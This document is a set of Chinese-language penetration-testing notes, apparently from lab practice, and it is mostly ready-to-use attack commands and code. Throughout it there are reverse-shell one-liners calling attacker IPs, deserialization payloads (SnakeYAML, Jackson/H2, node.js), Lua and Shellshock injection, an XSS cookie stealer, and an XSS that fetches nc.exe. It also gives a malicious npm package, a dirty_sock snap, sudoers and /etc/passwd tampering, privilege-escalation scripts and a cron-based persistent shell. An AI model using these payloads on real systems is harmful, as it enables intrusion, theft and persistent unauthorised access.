破解非常规hash(例如非常长)
/usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user
chisel搭建隧道

对目标主机的8000端口隧道

./chisel server -p 6666 --reverse
./chisel client 10.10.14.29:6666 R:9999:127.0.0.1:8000
搜索危险函数
grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *
存在ear重定向后执行

修改响应包,改成200

tomcat的管理页面被代理走

利用tomcat与nginx互相混淆
学新通
例如:

https://seal.htb/manager;name=rong/html
就可以访问到被代理的tomcat
运行snmp中枚举的进程(在低权进程不存在)
snmpwalk -v 1 -c public 10.129.228.106 iso.3.6.1.4.1.8072.1.3.2

iso.3.6.1.4.1.8072.1.3.2
来自于snmp枚举到的就选这么多位即可

当ls -la后面有一个
getfacl /usr/local/monitoring

查看真实权限

wasm
proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就生成好了
wasm2wat main.wasm -o main.wat
而后修改wat文件,返回值是const后的参数
wat2wasm main.wat -o main.wasm
java-yaml反序列化
1. 测试联通
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.7/"]
  ]]
]
2. 下载并修改恶意jar
proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
修改AwesomeScriptEngineFactory.java 参数
先要检测ping:ping -c [ip]
而后才是命令执行:
3. 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包
4. 实现反弹端口(java)中一般选择sh调用。其他的容易出错
5. 写一个脚本(shell.sh)
==============================================
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
==============================================
6. 将java文件修改成如下
==============================================
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
            Runtime.getRuntime().exec("chmod  x /tmp/shell.sh");
            Runtime.getRuntime().exec("bash /tmp/shell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
=================================================

根据已知密码与其变种密码hash爆破

password是已知密码
hash是其变种的hash

hashcat -m 3200 hash password --user -r /usr/share/hashcat/rules/best64.rule
java/jackson反弹端口

出现在网页上
遇到是在一个存在json输入界面的web

这一段输入到json输入框t
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]

==================test.sql=========================
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('ping -c 1 10.10.14.29')
enc后缀加密文件/.gnupg/其所属的gpg密钥环
在gpg密钥的目录下
netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc
bsd系统

标志文件:doas
最好使用rm反弹shell
当具有用户密码时,采用如下方式登陆
doas sh

curl带凭据访问
curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest
curl强制执行get(多用于注入等)
curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s
lua注入

基本按照如下顺序来测试

curl -s  ”http://10.10.10.218/weather/forecast?city='“
curl -s "http://10.129.18.130/weather/forecast?city=') --"
curl -s "http://10.129.18.130/weather/forecast?city=') os.execute('id') --"
curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s
批量发送邮件
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28

eamils是获取的全部邮箱

爬去页面所有邮箱
cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 
生成短的ssh密钥

我的本机已经存在了

ssh-keygen -t ed25519 -f id_rsaed25519
xss测试
1. 测试连通

连接
Test <a href="http://10.10.14.29/title">title link</a>
测试连接一个文件
Test <a href="http://10.10.14.29/content">body link</a>
<script> alert("Test")</script>

本地开启nc监听端口,可以看到命令执行回显
如果存在
2.  测试命令执行

Test <a href="http://10.10.14.29/$(whoami)">body link</a>
<script> alert("Test")</script>

3. 写入密钥
$IFS是空格替代
Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a>
<script> alert("Test")</script>
服务器由python建立

如果存在一些提交信息框
可以尝试
{{77}}
或者
{7
7}
而后在帖子的相关页面源码看有没有49

图片上传
<?php system($_GET[‘cmd’]); ?>
一句话直接vi进图片
打开jar
使用:jd-gui
目录爆破(目前最好用的)
gobuster dir -u http://10.129.36.23 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 40
网页类似ping功能
  1. 尝试本地包含
    http://10.10.1.4.7/shell.php
  2. 注意看是不是curl
    如果是的话curl -o
usb相关

USB 通常安装在 /media
输入mount查看所有挂载
然后复制到本地关键字搜索media
就可以知道安装在了/media下的哪里

而一般涉及到usb的一般会存在数据恢复
以下是两种方法

grep找到32位字符

grep -aPo ‘[a-fA-F0-9]{32}’ /dev/sdb

挂载法
ssh pi@10.10.10.48 "sudo dd if=/dev/sdb | gzip -1 -" | dd of=usb.gz

这里的/dev/sdb指的是mount查出来的虚拟目录,而不是/media的实际目录

gunzip usb.gz
extundelete usb --restore-all
X-Pi-hole(截到的包)

存在/admin

弱口令,并且可以登陆ssh

pi
raspberry
稳定终端
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z #CTRL Z to background the shell
$ stty raw -echo
$ fg # Plus two times enter
$ export TERM=xterm
$ stty rows 51 columns 173
steg隐写术

一般信息会给到steg,还会给到密码,找个文件,一般是图片如此使用即可

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
简单的端口反弹

建议直接去pentestmonket找,这只是常用的,方便用

bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 443 >/tmp/f

python
import os;os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 9999 >/tmp/f’)
监听icmp
tcpdump -ni tun0 icmp
ssh隧道搭建
ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443
文件类

文件类

  1. file查看文件类型
  2. 具体分析
  3. 用strings和binwalk看(一定要看)
图片

binwalk(逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)

exiftool for-007.jpg    好用
strings for-007.jpg     一般
binwalk --通用分析一下,可能存在不一样的信息
steghide extract -sf nsa.jpg   --可以拆解出图片信息

遇到打不开的图片file查看一下

hexeditor tokyo.jpeg
头签名:(如果全图有这个头,那就把之前的删掉,如果没有就加一个,结尾是D9)
FF D8 FF E0
视频
python2 tcsteg2.py -p  mulder.fbi

再使用truecrypt分析
注意有可能会有密码,要回顾之前所得

文件爆破
truecrack -v -t 【文件】 -w 【密码本】

得到密码再用VeraCrypt打开

压缩包doc等文件
爆破
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup 
或者
hash提取
zip2john safe.zip > pass
john pass
登录框
  1. 注意页面源代码可能包含判断逻辑,注意js文件
  2. 考虑sql注入,弱口令,弱逻辑,易得密码本爆破,sql绕过
  3. 水平越权测试
  4. 如果不管增么登陆都是200,就要考虑rce,多加一个“测试,看能不能造成信息泄漏
admin' or '1'='1 # 
或者单引号来测试sql
注册框
  1. 注册限制,看是否可以绕过(bp构造)
  2. 如果可以注册,那就看看嫩不嫩水平越权,常利用url(如果显示用户名的话)
Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1
留言框

很多情况都可以这么处理

<script src="http://10.10.14.5/test.js"></script>
python3 -m http.server 80  --本地开服务器让那边找你这个test.js

xss窃听脚本

function pwn() {
    var img = document.createElement("img");
    img.src = "http://10.10.14.19/xss?="   document.cookie;
    document.body.appendChild(img);
}
pwn();

xss反弹shell

var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.6/nc.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.6 1234';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

反弹shell脚本配图
学新通

页面爆破无结果(只有默认页面)

爆后缀,找文件

dirb http://192.168.253.193/ -X .php
url无变化的变化页面
  1. 看页面源码有没有调用js
  2. dirb扫txt,html后缀
爆破id _rsa
python /usr/share/john/ssh2john.py id_rsa > 1.txt
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
内网中无隧道扫描
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep “bytes from” &); done
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
搭建隧道
批量解码
cat s.txt | base64 -d  > 2.txt
无线爆破
aircrack-ng -w /root/Desktop/rockyou.txt eg-01.cap
js脚本审计
  1. /api/users类似的东西
  2. user,pass等关键字
  3. eval(function(p,a,c,k,e,d) 类
文件读取

抓包改成put头

流量分析

查看TCP流,或寻找pass或者找POST

Binwalk --通用分析一下
tcpflow ----分离流量包

1.TCP流
tcp.stream eq 1
tcp.stream eq 2

2.如果流量包内嵌有其他文件
可以用tree分析

3.抽离文件(适用于包含了图片啊,文本的情况)
foremost 【文件】
pyc文件
uncompyle2 enc.pyc > enc.py
postgreaql

hydra

swaks

swaks 发邮件用的是smtp的口子

邮件格式

swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.149.131:2525 --body "My kid will be a soccer player"  --header "Subject: My kid will be soccer player"

漏扫之后网站崩

可能开启了waf,nmap全端口扫一遍,可能会开新的端口

iptables(端口fileter就可能存在)

防火墙

sudo /sbin/iptables -L        --查看规则
sudo /sbin/iptables --flush    --全部放行
绕过防火墙
python cve-2018-7600-drupal7.py -t 192.168.2.177 -c "which socat" -p 8000
python cve-2018-7600-drupal7.py -t 192.168.2.177 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000

kali执行
socat FILE:`tty`,raw,echo=0 TCP:192.168.247.166:4444
vnc提权
vncviewer -passwd secret localhost:5904
secret 是已经获得的密码文件
并且要提前将端口转发出来(一般都是本地的服务)
MYSQL查询
mysql -uroot -pR@v3nSecurity   --登录
select version();              --查看版本

show databases;                --查看库
use wordpress                  --使用库
show tables;                   --查看表
select * from wp_users;        --查找表内内容
LFI

三种尝试,再利用php伪协议
关注:path、dir、file、pag、page、archive、p、eng、等相关关键字

…/…/…/etc/passwd -----枚举目录的密码信息
?page= ----读取php
?bolo -----可能存在文件包含

curl http://192.168.247.152/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d
手工内网横向
查找存活IP:
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

探测端口

#!/bin/bash
hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)
END=65535
for host in "${hosts[@]}"
do
	   echo "==============================="
	   echo "Scanning $host"
	   echo "==============================="
	       for ((port=1;port<=END;port  ))
	       do
	       echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
	done 2>/dev/null
done
内网穿越
socat

命令在上面

frp

命令在上面

文件上传混淆

GIF89a,双写,大小写
https://github.com/melbinkm/PHPImageShell

网站源码拷贝(低频率)

要求存在远程代码执行

cp /var/www/html/fristi/uploads
tar -zcvf web.tar.gz /var/www/html/*
cp web.tar.gz /var/www/html/fristi/uploads
前端需要关注的JS库

app.js

爆破压缩包
fcrackzip -u -D -p [字典地址]  rong.zip
rbash逃逸

先知7642
也可以利用ssh命令执行(ssh区域写了)

wap文件

http.request.method == “POST”
右键跟踪TCP流

(未完善)node.js反序列化

目前遇到一次,与立即执行函数挂钩

{"username":"Admin"}
{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('nc -e /bin/bash 192.168.247.129 6666', (error, stdout, stderr) =>{ console.log(stdout);});}()"}
(未完善)ss-manager(目前遇到了一次,与js反序列化一起出现)

直接谷歌搜exp
用法如下:

nc -u 127.0.0.1 8839  

因为这个玩意是在udp上跑的
添加:
{“server_port”:8003, “password”:“test”, “method”:“||touch /tmp/evil||”}
add: {“server_port”:8003, “password”:“test”, “method”:“||nc -e /bin/sh 192.168.247.129 4455 ||”}

WAF绕过
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 304 http://192.168.56.104/test.php?file=FUZZ |grep dir
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e s
文字处理(违规字符导致的无法解码)

1)base64
cat pw | base64 -d
{“alg”:“HS256”,“typ”:“JWT”}base64: 输入无效
第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符

过滤点:

cat pw | cut -d "." -f 2 | base64 -d

{“sub”:“1234567890”,“name”:“John Doe”,“iat”:1516239022}base64: 输入无效
发现第二部分是1~0,人名,还是未解析完!

JWT爆破
1. 脚本爆破(或官网)
./jwtcrack 

2. jwt与js关联,所以要注意前端中js的存在,搜索js包,查找关键字,可能会有突破

3. https://deobfuscate.io/(解码js)

外网可访问的数据库页面

wfuzz爆破数据库表等。造成信息泄露

cgi shellshock

当扫出来cgi目录时(建议gobuster)
要针对cgi目录进深度扫描

feroxbuster -u http://10.129.12.37/cgi-bin/ -x sh,cgi,pl
如果能扫到,就说明可以shellshock来搞
User-Agent: () { :;}; echo; /usr/bin/id
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.63/6666 0>&1

五、突破点(提权)

手工提权信息查询
内核、系统信息查询
uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构(64位/32位)
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息
cat /etc/issue       分发信息
cat /proc/cpuinfo    CPU信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

可提权SUID查询;(这个是重中之重,后面附加的ls可以更快的识别到我们可以玩的二进制文件)
find / -user root -perm -4000 2>/dev/null -ls
ps aux | grep -v root

查找有权限执行的文件
find / -user anansi 2>&1 | grep -v "Permission denied\|proc"

注意看用户目录下的 .bash_history
如果不是0字节,就打开看看

查找可读可写可执行的文件(通常用来寻找计划任务)
find / -perm 777 -type f 2>/dev/null

apache如果可能需要www权限,记得去var枚举枚举
chkrootkit提权

update文件写入

printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
chmod 777 /tmp/update
nc -nlvp 443
(未完善)计划任务写入提权/高权限可执行文件

关于计划任务,应该使用pspy来检查进程,有可能会存在chkrootkit

echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis   
给对方www-data加入sudo权限:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
chmod  x /tmp/update

高权限可执行文件
#!/bin/sh
bash
原地提权

或者直接用后门覆盖

新建命令绕过无法使用的限制

适用于重要命令无法运行
例如:cat a即可提权,但是cat用不了

echo /bin/bash > cat    ---创建一个shell命令的文件:/bin/sh
chmod 777 cat           ---赋权
export PATH=/tmp:$PATH  ---赋予tmp目录环境变量
脚本exec等执行命令中存在$path等变量

去到$path地方,建一个;文件,而后写入命令即可,命令如下

touch '; nc 10.10.xx.xx 1338 -c bash'
高权限.sh等文件可以输入或者选项

直接输入bash即可提权

高权限py等文件可以输入或者选项,以及脚本命令执行时的夹带私货,一般常见于可执行ping命令
$
测试:10.10.10.$(echo 7)
执行:$(/tmp/d.sh)(d.sh是恶意payload)
(未完善)find提权

其他二进制文件无法直接拿到root,而转进得方法

查看是否存在find命令setuid执行权限:
find / -perm -4000 2>/dev/null | grep find

echo "chmod u s /usr/bin/find"> shell.sh
chmod  x shell.sh
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

创建完成确认find命令是否成功被赋予setuid权限:
find / -perm -4000 2>/dev/null | grep find
执行find命令开始提权
find /tmp -exec sh -i \;   ---发现没有获得root权限
find . -exec /bin/sh -p\;  --- -p执行即可
新增root权限用户提权

如果etc/passwd可写,就可以如此利用

perl -le 'print crypt("rong","aa")'
这里会回显一个加密后的密码aa3ivx.lC6a0w
echo 'rongroot:aa3ivx.lC6a0w:0:0:rongroot:/root:/bin/bash' >>/etc/passwd
su rongroot
systemctl提权

网站中说的不详细
写一个rong.service文件,包含以下内容

[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.8 443'
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

而后链接再启动

systemctl link /home/pepper/rong.service
systemctl start
Lxc提权
方法一:拖镜像挂载root而后写命令到sudoers
创建
lxd init   ----   一直回车

创建了一个lxc容器:
lxc init ubuntu:16.04 test -c security.privileged=true

分配了安全权限,并将整个磁盘挂载到/mnt/root:
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
这时候会下载几分钟!
lxc start test
lxc exec test bash
这时候挂载的test 乌班图容器就挂载好了,执行命令:
执行的还是所有权命令:

echo "%webdeveloper ALL=(ALL:ALL) ALL" >> /mnt/root/etc/sudoers
exit 
sudo su
方法二:简单快捷

镜像覆盖法

1. 传输,这是alphina的base64
echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3 AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W tl zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9 MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0 FtnTigWSAWkA WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp Ec4hAt 2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN 7rQL kCm4 U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9 /JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2

如果base64出错了就重新下载
proxychains4 -f /etc/proxychains4.conf git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder

proxychains4 -f /etc/proxychains4.conf ./build-alpine
选一个压缩包就行
1.导入
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rong-image
2. 运行 
lxd init
3. 创建容器
lxc init rong-image container-rong -c security.privileged=true
4. 挂载主机到lxd
lxc config device add container-rong device-rong disk source=/ path=/mnt/root
5. 启动
lxc start container-rong
6. 返回shell
lxc exec container-rong /bin/sh
nmap提权
sudo -l提示nmap
find / -name nmap 2>/dev/null   --找到nmap在哪里
/usr/local/bin/nmap                                                                      
/usr/local/share/nmap 
---有上面这两个目录,我们选择bin目录下的nmap
!id
!/bin/bash -p

-p是特权模式,这里借助的原理是nmap按照root运行,然后namoa也有自己的shell

环境变量挟持提权

如果已经存在的环境变量被高权限调用了,那么可以挟持来提权

echo "/bin/dash" > /tmp/netstat   
或者反弹shell
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk
这两个-e与不-e目前没有发现什么不同,实际使用可以互相都用一下

chmod  x /tmp/netstat
export PATH=/tmp:$PATH       ----只有tmp才有写权限
netscan
共享库提权
nm -g /lib/libpinksec.so    --查看函数

_init。,从这里开始,他下面的函数才执行,也就是构成下面的payload的函数

#include <stdlib.h>
int psbanner() {
    return system("/bin/sh");
  }
int psopt() {
  return system("/bin/sh");
}
int psoptin() {
  return system("/bin/sh");
}
vi shell.c     --写入上面的payload
gcc -shared -o shell.so -fPIC shell.c     -----不包含_init的方式
gcc -shared -o shell.so -fPIC -nostartfiles shell.c      -----包含_init的方式
cp shell.so /lib/libpinksec.so   --覆盖
./pinksecd    --执行
挟持环境变量提权
echo "/bin/dash" > /tmp/netstat   
chmod  x /tmp/netstat
export PATH=/tmp:$PATH       只有tmp才有写权限
netscan
pip提权

应用于pip具有sudo权限

本地监听
nc -tvlp 9900
-------------------------脚本部分-------------------------
from setuptools import setup   #加入

def con():
	import socket, time,pty, os
	host='192.168.247.129'
	port=9900
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.settimeout(10)
	s.connect((host,port))
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null')
	pty.spawn("/bin/bash")
	s.close()
con()

setup(name="hahahaha", version="1.0")  #加入
--------------------------------------------------------------
上传
wget http://10.211.55.19:8081/setup.py
sudo /usr/bin/pip install . --upgrade --force-reinstall

docker提权

常见漏洞点: Docker Remote api
识别点:2375端口,/run/docker.sock,可以看到宿主的容器

 /run/docker.sock
 docker ps    ------如果显示了宿主机的docker,那么就存在漏洞
2375开放(外网直接打)
docker -H tcp://192.168.52.128:2375 images    --查看容器组
docker -H tcp://192.168.52.128:2375 ps      --查看正在运行的容器
docker -H tcp://192.168.52.128:2375 run --rm -it -v /:/tmp/1/ wordpress /bin/bash
挂载宿主目录
2375端口不开放(内网机器开搞)
挂载宿主机到docker上
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
或
docker run -v /:/host -t -i bash

如果docker被卸载

vim /etc/apt/sources.list
apt-get update
apt-get install docker.io
adm用户敏感信息枚举
cd /var/log
grep -r passw . 2>/dev/null   
snmp提权(借助恶意快照包的安装实现)

cd /tmp

python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//xICAAAAAAAAsAIAAAAAAAA AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5 qumvhFkbY5Pr4ba1mk4 lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"   "A" * 4256   "=="' | base64 -d > exploit.snap
sudo /usr/bin/snap install --devmode exploit.snap
su dirty_sock
dirty_sock
sudo -i
计划任务压缩包

如果命令完备不存在路径问题,那么可以考虑软链接的方式
首先要在被压缩的目录中找到一个可写的目录
find . -writable
而后

ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/

再备份的时候就可以备份/home/luis/了

ansible-playbook提权

写一个rev.yml

- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
sudo ansible-playbook rev.yml 
apt-get提权
echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64 -w0

echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvODg4OCAwPiYxIgo= | base64 -d | bash"};' > 000-shell
存在env_keep =XDG_CONFIG_HOME

这种绕过方法被称作:
Privilege Escalation through Sudo Right Exploitation.
具体操作

1. 查看用户xdg设置情况
echo "$XDG_CONFIG_HOME"
2. 查看用户home
echo "$HOME"
3. 强制修改xdg指向
export XDG_CONFIG_HOME="$HOME/.config" 
4. 写入
echo "/bin/bash" >> /home/thomas/.config/neofetch/config.conf 
5. 执行
sudo /usr/bin/neofetch \"\" (后面的\"\" 是他们来sudo -l就自带的防止夹带命令的)
npm包挟持

例子中被调用的包是loglevel
所涉及的镜像是verdaccio(来自于npm管理页面)

1.创建一个目录
mkdir loglevel
cd loglevel
2. 拉取镜像
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio
3. 添加用户
npm adduser --registry http://10.10.14.6:4873
4. 创建
npm init(需要更高版本,例如1.8.0改为2.0.0)
5. 再写index.js
=================================================
const cp = require("child_process")
cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");
function log(msg) {
    console.log(msg);
}
function debug(msg) {
    console.log(msg);
}
function warn(msg) {
    console.log(msg);
}
module.exports.log = log;
=================================================
6. 发布
npm publish --registry http://10.10.14.29:4873
7. 修改指向
修改.npmrc 文件到我们的本地服务开启端口
8. 执行(关于高权限调用npm包的脚本等)
sudo /opt/app/startup.sh

六、小技巧

暴力拆解压缩包

–force-local参数

tar zxf backup-2022-11-24-10:56:33.gz --force-local
快捷的稳定shell
script /dev/null -c bash
一个简单的sh脚本
#!/bin/bash

chmod  x /bin/bash
无python建立稳定shell
curl下载
curl -O http://192.168.253.138:8082/socat
chmod  x socat

nc -vlp 9998
HOME=/dev/shm ./socat tcp:192.168.253.138:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane

使用script:
script -qc bash /dev/null

stty raw -echo
fg
无wget下载文件
curl
curl -O 【文件】
curl -# -O 【文件】
nc
4444端口是kali

nc 10.9.17.253 4444 < /tmp/backup
nc -lnvp 4444 > backup
或者
先kali
nc -l -p 1234 > secret.zip < /dev/null
再
cat secret.zip | nc 10.10.14.63 1234
软连接建立(可以用来避免root目录的保护)
ln -s /root/root.txt /tmp/rong
无nc的端口转发
bash -i >& /dev/tcp/192.168.247.129/6666 0>&1
或者其他的网站中给到的
基于计划任务的持久shell

定时回弹,增加稳定性

vim 1.sh 
----------------------------
while true; do
    perl -e 'use Socket;$i="10.211.55.19";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
----------------------------
wget http://10.211.55.19:8081/1.sh
chmod  x 1.sh
./1.sh
缩减密码本
sort rong.txt | uniq > rong1.txt
-u, --unique 配合-c,严格校验排序;不配合-c,则只输出一次排序结果
将加密rsa密钥转变成正常密钥(需要密码)
openssl rsa -in id_rsa -out id1_rsa  
(未完善)判断加密方式
1、如果密文是十进制,字符范围是“0-9”,可以猜测是ASCII编码;

